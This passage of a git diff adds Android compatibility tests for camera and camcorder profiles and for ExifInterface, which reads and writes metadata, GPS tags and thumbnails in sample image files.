+            assertNotNull("high speed high quality profile should be supported if low" +
+                    " is supported ",
+                    highHighSpeedProfile);
+            checkProfile(lowHighSpeedProfile, null);
+            checkProfile(highHighSpeedProfile, null);
+        } else {
+            assertNull("high speed high quality profile shouldn't be supported if " +
+                    "low is unsupported ", highHighSpeedProfile);
+        }
+
+        int[] specificProfileQualities = {CamcorderProfile.QUALITY_QCIF,
+                                          CamcorderProfile.QUALITY_QVGA,
+                                          CamcorderProfile.QUALITY_CIF,
+                                          CamcorderProfile.QUALITY_480P,
+                                          CamcorderProfile.QUALITY_720P,
+                                          CamcorderProfile.QUALITY_1080P,
+                                          CamcorderProfile.QUALITY_2K,
+                                          CamcorderProfile.QUALITY_QHD,
+                                          CamcorderProfile.QUALITY_2160P};
+
+        int[] specificTimeLapseProfileQualities = {CamcorderProfile.QUALITY_TIME_LAPSE_QCIF,
+                                                   CamcorderProfile.QUALITY_TIME_LAPSE_QVGA,
+                                                   CamcorderProfile.QUALITY_TIME_LAPSE_CIF,
+                                                   CamcorderProfile.QUALITY_TIME_LAPSE_480P,
+                                                   CamcorderProfile.QUALITY_TIME_LAPSE_720P,
+                                                   CamcorderProfile.QUALITY_TIME_LAPSE_1080P,
+                                                   CamcorderProfile.QUALITY_TIME_LAPSE_2K,
+                                                   CamcorderProfile.QUALITY_TIME_LAPSE_QHD,
+                                                   CamcorderProfile.QUALITY_TIME_LAPSE_2160P};
+
+        int[] specificHighSpeedProfileQualities = {CamcorderProfile.QUALITY_HIGH_SPEED_480P,
+                                                   CamcorderProfile.QUALITY_HIGH_SPEED_720P,
+                                                   CamcorderProfile.QUALITY_HIGH_SPEED_1080P,
+                                                   CamcorderProfile.QUALITY_HIGH_SPEED_2160P};
+
+        CamcorderProfile lowProfile =
+                getWithOptionalId(CamcorderProfile.QUALITY_LOW, cameraId);
+        CamcorderProfile highProfile =
+                getWithOptionalId(CamcorderProfile.QUALITY_HIGH, cameraId);
+        CamcorderProfile lowTimeLapseProfile =
+                getWithOptionalId(CamcorderProfile.QUALITY_TIME_LAPSE_LOW, cameraId);
+        CamcorderProfile highTimeLapseProfile =
+                getWithOptionalId(CamcorderProfile.QUALITY_TIME_LAPSE_HIGH, cameraId);
+        checkSpecificProfiles(cameraId, lowProfile, highProfile,
+                specificProfileQualities, videoSizes);
+        checkSpecificProfiles(cameraId, lowTimeLapseProfile, highTimeLapseProfile,
+                specificTimeLapseProfileQualities, null);
+        checkSpecificProfiles(cameraId, lowHighSpeedProfile, highHighSpeedProfile,
+                specificHighSpeedProfileQualities, null);
+    }
+
+    @Test
+    public void testGetFirstBackCamera() {
+        /*
+         * Device may not have rear camera for checkGet(-1).
+         * Checking PackageManager.FEATURE_CAMERA is included or not to decide the flow.
+         * Continue if the feature is included.
+         * Otherwise, exit test.
+         */
+        Context context = InstrumentationRegistry.getContext();
+        assertNotNull("did not find context", context);
+        PackageManager pm = context.getPackageManager();
+        assertNotNull("did not find package manager", pm);
+        if (!pm.hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
+            return;
+        }
+        checkGet(-1);
+    }
+
+    @Test
+    public void testGetWithId() {
+        int nCamera = Camera.getNumberOfCameras();
+        Context context = InstrumentationRegistry.getContext();
+        assertNotNull("did not find context", context);
+        for (int cameraId = 0; cameraId < nCamera; cameraId++) {
+            boolean isExternal = false;
+            try {
+                isExternal = CameraUtils.isExternal(context, cameraId);
+            } catch (Exception e) {
+                Log.e(TAG, "Unable to query external camera: " + e);
+            }
+
+            if (!isExternal) {
+                checkGet(cameraId);
+            }
+        }
+    }
+
+    private List<Size> getSupportedVideoSizes(Camera camera) {
+        Parameters parameters = camera.getParameters();
+        assertNotNull("Camera did not provide parameters", parameters);
+        List<Size> videoSizes = parameters.getSupportedVideoSizes();
+        if (videoSizes == null) {
+            videoSizes = parameters.getSupportedPreviewSizes();
+            assertNotNull(videoSizes);
+        }
+        return videoSizes;
+    }
+
+    private boolean isSizeSupported(int width, int height, List<Size> sizes) {
+        if (sizes == null) return true;
+
+        for (Size size: sizes) {
+            if (size.width == width && size.height == height) {
+                return true;
+            }
+        }
+        Log.e(TAG, "Size (" + width + "x" + height + ") is not supported");
+        return false;
+    }
+
+    private boolean isProfileMandatory(int quality) {
+        return (quality == CamcorderProfile.QUALITY_LOW) ||
+                (quality == CamcorderProfile.QUALITY_HIGH) ||
+                (quality == CamcorderProfile.QUALITY_TIME_LAPSE_LOW) ||
+                (quality == CamcorderProfile.QUALITY_TIME_LAPSE_HIGH);
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/CameraProfileTest.java b/tests/tests/media/misc/src/android/media/misc/cts/CameraProfileTest.java
new file mode 100644
index 0000000..1de7a91
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/CameraProfileTest.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+
+import android.hardware.Camera;
+import android.media.CameraProfile;
+import android.media.cts.NonMediaMainlineTest;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import java.util.List;
+
+@NonMediaMainlineTest
+public class CameraProfileTest extends AndroidTestCase {
+
+    private static final String TAG = "CameraProfileTest";
+
+    private void checkQuality(int low, int mid, int high) {
+        Log.v(TAG, "low = " + low + ", mid = " + mid + ", high = " + high);
+        assertTrue(low >= 0 && low <= 100);
+        assertTrue(mid >= 0 && mid <= 100);
+        assertTrue(high >= 0 && high <= 100);
+        assertTrue(low <= mid && mid <= high);
+    }
+
+    public void testGetImageEncodingQualityParameter() {
+        int low = CameraProfile.getJpegEncodingQualityParameter(CameraProfile.QUALITY_LOW);
+        int mid = CameraProfile.getJpegEncodingQualityParameter(CameraProfile.QUALITY_MEDIUM);
+        int high = CameraProfile.getJpegEncodingQualityParameter(CameraProfile.QUALITY_HIGH);
+        checkQuality(low, mid, high);
+    }
+
+    public void testGetWithId() {
+        int nCamera = Camera.getNumberOfCameras();
+        for (int id = 0; id < nCamera; id++) {
+            int low = CameraProfile.getJpegEncodingQualityParameter(id, CameraProfile.QUALITY_LOW);
+            int mid = CameraProfile.getJpegEncodingQualityParameter(id, CameraProfile.QUALITY_MEDIUM);
+            int high = CameraProfile.getJpegEncodingQualityParameter(id, CameraProfile.QUALITY_HIGH);
+            checkQuality(low, mid, high);
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/ExifInterfaceTest.java b/tests/tests/media/misc/src/android/media/misc/cts/ExifInterfaceTest.java
new file mode 100644
index 0000000..22c8bf1
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/ExifInterfaceTest.java
@@ -0,0 +1,966 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static android.media.ExifInterface.TAG_SUBJECT_AREA;
+
+import android.content.res.TypedArray;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.media.ExifInterface;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.Preconditions;
+import android.os.FileUtils;
+import android.os.StrictMode;
+import android.platform.test.annotations.AppModeFull;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import libcore.io.IoUtils;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayInputStream;
+import java.io.EOFException;
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.charset.StandardCharsets;
+
+@NonMediaMainlineTest
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+public class ExifInterfaceTest extends AndroidTestCase {
+    private static final String TAG = ExifInterface.class.getSimpleName();
+    private static final boolean VERBOSE = false;  // lots of logging
+
+    private static final double DIFFERENCE_TOLERANCE = .001;
+
+    static final String mInpPrefix = WorkDir.getMediaDirString() + "images/";
+
+    // This base directory is needed for the files listed below.
+    // These files will be available for download in Android O release.
+    // Link: https://source.android.com/compatibility/cts/downloads.html#cts-media-files
+    private static final String JPEG_WITH_EXIF_BYTE_ORDER_II = "image_exif_byte_order_ii.jpg";
+    private static final String JPEG_WITH_EXIF_BYTE_ORDER_MM = "image_exif_byte_order_mm.jpg";
+    private static final String DNG_WITH_EXIF_WITH_XMP = "lg_g4_iso_800.dng";
+    private static final String JPEG_WITH_EXIF_WITH_XMP = "lg_g4_iso_800.jpg";
+    private static final String ARW_SONY_RX_100 = "sony_rx_100.arw";
+    private static final String CR2_CANON_G7X = "canon_g7x.cr2";
+    private static final String RAF_FUJI_X20 = "fuji_x20.raf";
+    private static final String NEF_NIKON_1AW1 = "nikon_1aw1.nef";
+    private static final String NRW_NIKON_P330 = "nikon_p330.nrw";
+    private static final String ORF_OLYMPUS_E_PL3 = "olympus_e_pl3.orf";
+    private static final String RW2_PANASONIC_GM5 = "panasonic_gm5.rw2";
+    private static final String PEF_PENTAX_K5 = "pentax_k5.pef";
+    private static final String SRW_SAMSUNG_NX3000 = "samsung_nx3000.srw";
+    private static final String JPEG_VOLANTIS = "volantis.jpg";
+    private static final String WEBP_WITH_EXIF = "webp_with_exif.webp";
+    private static final String WEBP_WITHOUT_EXIF_WITH_ANIM_DATA =
+            "webp_with_anim_without_exif.webp";
+    private static final String WEBP_WITHOUT_EXIF = "webp_without_exif.webp";
+    private static final String WEBP_WITHOUT_EXIF_WITH_LOSSLESS_ENCODING =
+            "webp_lossless_without_exif.webp";
+    private static final String PNG_WITH_EXIF_BYTE_ORDER_II = "png_with_exif_byte_order_ii.png";
+    private static final String PNG_WITHOUT_EXIF = "png_without_exif.png";
+    private static final String JPEG_WITH_DATETIME_TAG = "jpeg_with_datetime_tag.jpg";
+
+    private static final String[] EXIF_TAGS = {
+            ExifInterface.TAG_MAKE,
+            ExifInterface.TAG_MODEL,
+            ExifInterface.TAG_F_NUMBER,
+            ExifInterface.TAG_DATETIME_ORIGINAL,
+            ExifInterface.TAG_EXPOSURE_TIME,
+            ExifInterface.TAG_FLASH,
+            ExifInterface.TAG_FOCAL_LENGTH,
+            ExifInterface.TAG_GPS_ALTITUDE,
+            ExifInterface.TAG_GPS_ALTITUDE_REF,
+            ExifInterface.TAG_GPS_DATESTAMP,
+            ExifInterface.TAG_GPS_LATITUDE,
+            ExifInterface.TAG_GPS_LATITUDE_REF,
+            ExifInterface.TAG_GPS_LONGITUDE,
+            ExifInterface.TAG_GPS_LONGITUDE_REF,
+            ExifInterface.TAG_GPS_PROCESSING_METHOD,
+            ExifInterface.TAG_GPS_TIMESTAMP,
+            ExifInterface.TAG_IMAGE_LENGTH,
+            ExifInterface.TAG_IMAGE_WIDTH,
+            ExifInterface.TAG_ISO_SPEED_RATINGS,
+            ExifInterface.TAG_ORIENTATION,
+            ExifInterface.TAG_WHITE_BALANCE
+    };
+
+    private static class ExpectedValue {
+        // Thumbnail information.
+        public final boolean hasThumbnail;
+        public final int thumbnailWidth;
+        public final int thumbnailHeight;
+        public final boolean isThumbnailCompressed;
+        public final int thumbnailOffset;
+        public final int thumbnailLength;
+
+        // GPS information.
+        public final boolean hasLatLong;
+        public final float latitude;
+        public final int latitudeOffset;
+        public final int latitudeLength;
+        public final float longitude;
+        public final float altitude;
+
+        // Make information
+        public final boolean hasMake;
+        public final int makeOffset;
+        public final int makeLength;
+        public final String make;
+
+        // Values.
+        public final String model;
+        public final float aperture;
+        public final String dateTimeOriginal;
+        public final float exposureTime;
+        public final float flash;
+        public final String focalLength;
+        public final String gpsAltitude;
+        public final String gpsAltitudeRef;
+        public final String gpsDatestamp;
+        public final String gpsLatitude;
+        public final String gpsLatitudeRef;
+        public final String gpsLongitude;
+        public final String gpsLongitudeRef;
+        public final String gpsProcessingMethod;
+        public final String gpsTimestamp;
+        public final int imageLength;
+        public final int imageWidth;
+        public final String iso;
+        public final int orientation;
+        public final int whiteBalance;
+
+        // XMP information.
+        public final boolean hasXmp;
+        public final int xmpOffset;
+        public final int xmpLength;
+
+        private static String getString(TypedArray typedArray, int index) {
+            String stringValue = typedArray.getString(index);
+            if (stringValue == null || stringValue.equals("")) {
+                return null;
+            }
+            return stringValue.trim();
+        }
+
+        public ExpectedValue(TypedArray typedArray) {
+            int index = 0;
+
+            // Reads thumbnail information.
+            hasThumbnail = typedArray.getBoolean(index++, false);
+            thumbnailOffset = typedArray.getInt(index++, -1);
+            thumbnailLength = typedArray.getInt(index++, -1);
+            thumbnailWidth = typedArray.getInt(index++, 0);
+            thumbnailHeight = typedArray.getInt(index++, 0);
+            isThumbnailCompressed = typedArray.getBoolean(index++, false);
+
+            // Reads GPS information.
+            hasLatLong = typedArray.getBoolean(index++, false);
+            latitudeOffset = typedArray.getInt(index++, -1);
+            latitudeLength = typedArray.getInt(index++, -1);
+            latitude = typedArray.getFloat(index++, 0f);
+            longitude = typedArray.getFloat(index++, 0f);
+            altitude = typedArray.getFloat(index++, 0f);
+
+            // Reads Make information.
+            hasMake = typedArray.getBoolean(index++, false);
+            makeOffset = typedArray.getInt(index++, -1);
+            makeLength = typedArray.getInt(index++, -1);
+            make = getString(typedArray, index++);
+
+            // Reads values.
+            model = getString(typedArray, index++);
+            aperture = typedArray.getFloat(index++, 0f);
+            dateTimeOriginal = getString(typedArray, index++);
+            exposureTime = typedArray.getFloat(index++, 0f);
+            flash = typedArray.getFloat(index++, 0f);
+            focalLength = getString(typedArray, index++);
+            gpsAltitude = getString(typedArray, index++);
+            gpsAltitudeRef = getString(typedArray, index++);
+            gpsDatestamp = getString(typedArray, index++);
+            gpsLatitude = getString(typedArray, index++);
+            gpsLatitudeRef = getString(typedArray, index++);
+            gpsLongitude = getString(typedArray, index++);
+            gpsLongitudeRef = getString(typedArray, index++);
+            gpsProcessingMethod = getString(typedArray, index++);
+            gpsTimestamp = getString(typedArray, index++);
+            imageLength = typedArray.getInt(index++, 0);
+            imageWidth = typedArray.getInt(index++, 0);
+            iso = getString(typedArray, index++);
+            orientation = typedArray.getInt(index++, 0);
+            whiteBalance = typedArray.getInt(index++, 0);
+
+            // Reads XMP information.
+            hasXmp = typedArray.getBoolean(index++, false);
+            xmpOffset = typedArray.getInt(index++, 0);
+            xmpLength = typedArray.getInt(index++, 0);
+
+            typedArray.recycle();
+        }
+    }
+
+    private void printExifTagsAndValues(String fileName, ExifInterface exifInterface) {
+        // Prints thumbnail information.
+        if (exifInterface.hasThumbnail()) {
+            byte[] thumbnailBytes = exifInterface.getThumbnailBytes();
+            if (thumbnailBytes != null) {
+                Log.v(TAG, fileName + " Thumbnail size = " + thumbnailBytes.length);
+                Bitmap bitmap = exifInterface.getThumbnailBitmap();
+                if (bitmap == null) {
+                    Log.e(TAG, fileName + " Corrupted thumbnail!");
+                } else {
+                    Log.v(TAG, fileName + " Thumbnail size: " + bitmap.getWidth() + ", "
+                            + bitmap.getHeight());
+                }
+            } else {
+                Log.e(TAG, fileName + " Unexpected result: No thumbnails were found. "
+                        + "A thumbnail is expected.");
+            }
+        } else {
+            if (exifInterface.getThumbnailBytes() != null) {
+                Log.e(TAG, fileName + " Unexpected result: A thumbnail was found. "
+                        + "No thumbnail is expected.");
+            } else {
+                Log.v(TAG, fileName + " No thumbnail");
+            }
+        }
+
+        // Prints GPS information.
+        Log.v(TAG, fileName + " Altitude = " + exifInterface.getAltitude(.0));
+
+        float[] latLong = new float[2];
+        if (exifInterface.getLatLong(latLong)) {
+            Log.v(TAG, fileName + " Latitude = " + latLong[0]);
+            Log.v(TAG, fileName + " Longitude = " + latLong[1]);
+        } else {
+            Log.v(TAG, fileName + " No latlong data");
+        }
+
+        // Prints values.
+        for (String tagKey : EXIF_TAGS) {
+            String tagValue = exifInterface.getAttribute(tagKey);
+            Log.v(TAG, fileName + " Key{" + tagKey + "} = '" + tagValue + "'");
+        }
+    }
+
+    private void assertIntTag(ExifInterface exifInterface, String tag, int expectedValue) {
+        int intValue = exifInterface.getAttributeInt(tag, 0);
+        assertEquals(expectedValue, intValue);
+    }
+
+    private void assertFloatTag(ExifInterface exifInterface, String tag, float expectedValue) {
+        double doubleValue = exifInterface.getAttributeDouble(tag, 0.0);
+        assertEquals(expectedValue, doubleValue, DIFFERENCE_TOLERANCE);
+    }
+
+    private void assertStringTag(ExifInterface exifInterface, String tag, String expectedValue) {
+        String stringValue = exifInterface.getAttribute(tag);
+        if (stringValue != null) {
+            stringValue = stringValue.trim();
+        }
+        stringValue = (stringValue == "") ? null : stringValue;
+
+        assertEquals(expectedValue, stringValue);
+    }
+
+    private void compareWithExpectedValue(ExifInterface exifInterface,
+            ExpectedValue expectedValue, String verboseTag, boolean assertRanges) {
+        if (VERBOSE) {
+            printExifTagsAndValues(verboseTag, exifInterface);
+        }
+        // Checks a thumbnail image.
+        assertEquals(expectedValue.hasThumbnail, exifInterface.hasThumbnail());
+        if (expectedValue.hasThumbnail) {
+            assertNotNull(exifInterface.getThumbnailRange());
+            if (assertRanges) {
+                final long[] thumbnailRange = exifInterface.getThumbnailRange();
+                assertEquals(expectedValue.thumbnailOffset, thumbnailRange[0]);
+                assertEquals(expectedValue.thumbnailLength, thumbnailRange[1]);
+            }
+            testThumbnail(expectedValue, exifInterface);
+        } else {
+            assertNull(exifInterface.getThumbnailRange());
+            assertNull(exifInterface.getThumbnail());
+            assertNull(exifInterface.getThumbnailBitmap());
+            assertFalse(exifInterface.isThumbnailCompressed());
+        }
+
+        // Checks GPS information.
+        float[] latLong = new float[2];
+        assertEquals(expectedValue.hasLatLong, exifInterface.getLatLong(latLong));
+        if (expectedValue.hasLatLong) {
+            assertNotNull(exifInterface.getAttributeRange(ExifInterface.TAG_GPS_LATITUDE));
+            if (assertRanges) {
+                final long[] latitudeRange = exifInterface
+                        .getAttributeRange(ExifInterface.TAG_GPS_LATITUDE);
+                assertEquals(expectedValue.latitudeOffset, latitudeRange[0]);
+                assertEquals(expectedValue.latitudeLength, latitudeRange[1]);
+            }
+            assertEquals(expectedValue.latitude, latLong[0], DIFFERENCE_TOLERANCE);
+            assertEquals(expectedValue.longitude, latLong[1], DIFFERENCE_TOLERANCE);
+            assertTrue(exifInterface.hasAttribute(ExifInterface.TAG_GPS_LATITUDE));
+            assertTrue(exifInterface.hasAttribute(ExifInterface.TAG_GPS_LONGITUDE));
+        } else {
+            assertNull(exifInterface.getAttributeRange(ExifInterface.TAG_GPS_LATITUDE));
+            assertFalse(exifInterface.hasAttribute(ExifInterface.TAG_GPS_LATITUDE));
+            assertFalse(exifInterface.hasAttribute(ExifInterface.TAG_GPS_LONGITUDE));
+        }
+        assertEquals(expectedValue.altitude, exifInterface.getAltitude(.0), DIFFERENCE_TOLERANCE);
+
+        // Checks Make information.
+        String make = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
+        assertEquals(expectedValue.hasMake, make != null);
+        if (expectedValue.hasMake) {
+            assertNotNull(exifInterface.getAttributeRange(ExifInterface.TAG_MAKE));
+            if (assertRanges) {
+                final long[] makeRange = exifInterface
+                        .getAttributeRange(ExifInterface.TAG_MAKE);
+                assertEquals(expectedValue.makeOffset, makeRange[0]);
+                assertEquals(expectedValue.makeLength, makeRange[1]);
+            }
+            assertEquals(expectedValue.make, make.trim());
+        } else {
+            assertNull(exifInterface.getAttributeRange(ExifInterface.TAG_MAKE));
+            assertFalse(exifInterface.hasAttribute(ExifInterface.TAG_MAKE));
+        }
+
+        // Checks values.
+        assertStringTag(exifInterface, ExifInterface.TAG_MAKE, expectedValue.make);
+        assertStringTag(exifInterface, ExifInterface.TAG_MODEL, expectedValue.model);
+        assertFloatTag(exifInterface, ExifInterface.TAG_F_NUMBER, expectedValue.aperture);
+        assertStringTag(exifInterface, ExifInterface.TAG_DATETIME_ORIGINAL,
+                expectedValue.dateTimeOriginal);
+        assertFloatTag(exifInterface, ExifInterface.TAG_EXPOSURE_TIME, expectedValue.exposureTime);
+        assertFloatTag(exifInterface, ExifInterface.TAG_FLASH, expectedValue.flash);
+        assertStringTag(exifInterface, ExifInterface.TAG_FOCAL_LENGTH, expectedValue.focalLength);
+        assertStringTag(exifInterface, ExifInterface.TAG_GPS_ALTITUDE, expectedValue.gpsAltitude);
+        assertStringTag(exifInterface, ExifInterface.TAG_GPS_ALTITUDE_REF,
+                expectedValue.gpsAltitudeRef);
+        assertStringTag(exifInterface, ExifInterface.TAG_GPS_DATESTAMP, expectedValue.gpsDatestamp);
+        assertStringTag(exifInterface, ExifInterface.TAG_GPS_LATITUDE, expectedValue.gpsLatitude);
+        assertStringTag(exifInterface, ExifInterface.TAG_GPS_LATITUDE_REF,
+                expectedValue.gpsLatitudeRef);
+        assertStringTag(exifInterface, ExifInterface.TAG_GPS_LONGITUDE, expectedValue.gpsLongitude);
+        assertStringTag(exifInterface, ExifInterface.TAG_GPS_LONGITUDE_REF,
+                expectedValue.gpsLongitudeRef);
+        assertStringTag(exifInterface, ExifInterface.TAG_GPS_PROCESSING_METHOD,
+                expectedValue.gpsProcessingMethod);
+        assertStringTag(exifInterface, ExifInterface.TAG_GPS_TIMESTAMP, expectedValue.gpsTimestamp);
+        assertIntTag(exifInterface, ExifInterface.TAG_IMAGE_LENGTH, expectedValue.imageLength);
+        assertIntTag(exifInterface, ExifInterface.TAG_IMAGE_WIDTH, expectedValue.imageWidth);
+        assertStringTag(exifInterface, ExifInterface.TAG_ISO_SPEED_RATINGS, expectedValue.iso);
+        assertIntTag(exifInterface, ExifInterface.TAG_ORIENTATION, expectedValue.orientation);
+        assertIntTag(exifInterface, ExifInterface.TAG_WHITE_BALANCE, expectedValue.whiteBalance);
+
+        if (expectedValue.hasXmp) {
+            assertNotNull(exifInterface.getAttributeRange(ExifInterface.TAG_XMP));
+            if (assertRanges) {
+                final long[] xmpRange = exifInterface.getAttributeRange(ExifInterface.TAG_XMP);
+                assertEquals(expectedValue.xmpOffset, xmpRange[0]);
+                assertEquals(expectedValue.xmpLength, xmpRange[1]);
+            }
+            final String xmp = new String(exifInterface.getAttributeBytes(ExifInterface.TAG_XMP),
+                    StandardCharsets.UTF_8);
+            // We're only interested in confirming that we were able to extract
+            // valid XMP data, which must always include this XML tag; a full
+            // XMP parser is beyond the scope of ExifInterface. See XMP
+            // Specification Part 1, Section C.2.2 for additional details.
+            if (!xmp.contains("<rdf:RDF")) {
+                fail("Invalid XMP: " + xmp);
+            }
+        } else {
+            assertNull(exifInterface.getAttributeRange(ExifInterface.TAG_XMP));
+        }
+    }
+
+    private void readFromStandaloneDataWithExif(String fileName, int typedArrayResourceId)
+            throws IOException {
+        ExpectedValue expectedValue = new ExpectedValue(
+                getContext().getResources().obtainTypedArray(typedArrayResourceId));
+
+        Preconditions.assertTestFileExists(mInpPrefix + fileName);
+        File imageFile = new File(mInpPrefix, fileName);
+        String verboseTag = imageFile.getName();
+
+        FileInputStream fis = new FileInputStream(imageFile);
+        // Skip the following marker bytes (0xff, 0xd8, 0xff, 0xe1)
+        fis.skip(4);
+        // Read the value of the length of the exif data
+        short length = readShort(fis);
+        byte[] exifBytes = new byte[length];
+        fis.read(exifBytes);
+
+        ByteArrayInputStream bin = new ByteArrayInputStream(exifBytes);
+        ExifInterface exifInterface =
+                new ExifInterface(bin, ExifInterface.STREAM_TYPE_EXIF_DATA_ONLY);
+        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
+    }
+
+    private void testExifInterfaceCommon(String fileName, ExpectedValue expectedValue)
+            throws IOException {
+        File imageFile = new File(mInpPrefix, fileName);
+        Preconditions.assertTestFileExists(mInpPrefix + fileName);
+        String verboseTag = imageFile.getName();
+
+        // Creates via path.
+        ExifInterface exifInterface = new ExifInterface(imageFile.getAbsolutePath());
+        assertNotNull(exifInterface);
+        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
+
+        // Creates via file.
+        exifInterface = new ExifInterface(imageFile);
+        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
+
+        InputStream in = null;
+        // Creates via InputStream.
+        try {
+            in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
+            exifInterface = new ExifInterface(in);
+            compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
+        } finally {
+            IoUtils.closeQuietly(in);
+        }
+
+        // Creates via FileDescriptor.
+        FileDescriptor fd = null;
+        try {
+            fd = Os.open(imageFile.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
+            exifInterface = new ExifInterface(fd);
+            compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
+        } catch (ErrnoException e) {
+            throw e.rethrowAsIOException();
+        } finally {
+            IoUtils.closeQuietly(fd);
+        }
+    }
+
+    private void testExifInterfaceRange(String fileName, ExpectedValue expectedValue)
+            throws IOException {
+        Preconditions.assertTestFileExists(mInpPrefix + fileName);
+        File imageFile = new File(mInpPrefix, fileName);
+        InputStream in = null;
+        try {
+            in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
+            if (expectedValue.hasThumbnail) {
+                in.skip(expectedValue.thumbnailOffset);
+                byte[] thumbnailBytes = new byte[expectedValue.thumbnailLength];
+                if (in.read(thumbnailBytes) != expectedValue.thumbnailLength) {
+                    throw new IOException("Failed to read the expected thumbnail length");
+                }
+                // TODO: Need a way to check uncompressed thumbnail file
+                if (expectedValue.isThumbnailCompressed) {
+                    Bitmap thumbnailBitmap = BitmapFactory.decodeByteArray(thumbnailBytes, 0,
+                            thumbnailBytes.length);
+                    assertNotNull(thumbnailBitmap);
+                    assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
+                    assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
+                }
+            }
+            // TODO: Creating a new input stream is a temporary
+            //  workaround for BufferedInputStream#mark/reset not working properly for
+            //  LG_G4_ISO_800_DNG. Need to investigate cause.
+            in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
+            if (expectedValue.hasMake) {
+                in.skip(expectedValue.makeOffset);
+                byte[] makeBytes = new byte[expectedValue.makeLength];
+                if (in.read(makeBytes) != expectedValue.makeLength) {
+                    throw new IOException("Failed to read the expected make length");
+                }
+                String makeString = new String(makeBytes);
+                // Remove null bytes
+                makeString = makeString.replaceAll("\u0000.*", "");
+                assertEquals(expectedValue.make, makeString.trim());
+            }
+            in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
+            if (expectedValue.hasXmp) {
+                in.skip(expectedValue.xmpOffset);
+                byte[] identifierBytes = new byte[expectedValue.xmpLength];
+                if (in.read(identifierBytes) != expectedValue.xmpLength) {
+                    throw new IOException("Failed to read the expected xmp length");
+                }
+                final String xmpIdentifier = "<?xpacket begin=";
+                assertTrue(new String(identifierBytes, StandardCharsets.UTF_8)
+                        .startsWith(xmpIdentifier));
+            }
+            // TODO: Add code for retrieving raw latitude data using offset and length
+        } finally {
+            IoUtils.closeQuietly(in);
+        }
+    }
+
+    private void writeToFilesWithExif(String fileName, int typedArrayResourceId)
+            throws IOException {
+        ExpectedValue expectedValue = new ExpectedValue(
+                getContext().getResources().obtainTypedArray(typedArrayResourceId));
+
+        Preconditions.assertTestFileExists(mInpPrefix + fileName);
+        File srcFile = new File(mInpPrefix, fileName);
+        File imageFile = clone(srcFile);
+        String verboseTag = imageFile.getName();
+
+        ExifInterface exifInterface = new ExifInterface(imageFile.getAbsolutePath());
+        exifInterface.saveAttributes();
+        exifInterface = new ExifInterface(imageFile.getAbsolutePath());
+        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
+
+        // Test for modifying one attribute.
+        String backupValue = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
+        exifInterface.setAttribute(ExifInterface.TAG_MAKE, "abc");
+        exifInterface.saveAttributes();
+        // Check if thumbnail offset and length are properly updated without parsing the data again.
+        if (expectedValue.hasThumbnail) {
+            testThumbnail(expectedValue, exifInterface);
+        }
+        exifInterface = new ExifInterface(imageFile.getAbsolutePath());
+        assertEquals("abc", exifInterface.getAttribute(ExifInterface.TAG_MAKE));
+        // Check if thumbnail bytes can be retrieved from the new thumbnail range.
+        if (expectedValue.hasThumbnail) {
+            testThumbnail(expectedValue, exifInterface);
+        }
+
+        // Restore the backup value.
+        exifInterface.setAttribute(ExifInterface.TAG_MAKE, backupValue);
+        exifInterface.saveAttributes();
+        exifInterface = new ExifInterface(imageFile.getAbsolutePath());
+        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
+
+        FileDescriptor fd = null;
+        try {
+            fd = Os.open(imageFile.getAbsolutePath(), OsConstants.O_RDWR, 0600);
+            exifInterface = new ExifInterface(fd);
+            exifInterface.saveAttributes();
+            Os.lseek(fd, 0, OsConstants.SEEK_SET);
+            exifInterface = new ExifInterface(fd);
+            compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
+
+            // Test for modifying one attribute.
+            backupValue = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
+            exifInterface.setAttribute(ExifInterface.TAG_MAKE, "abc");
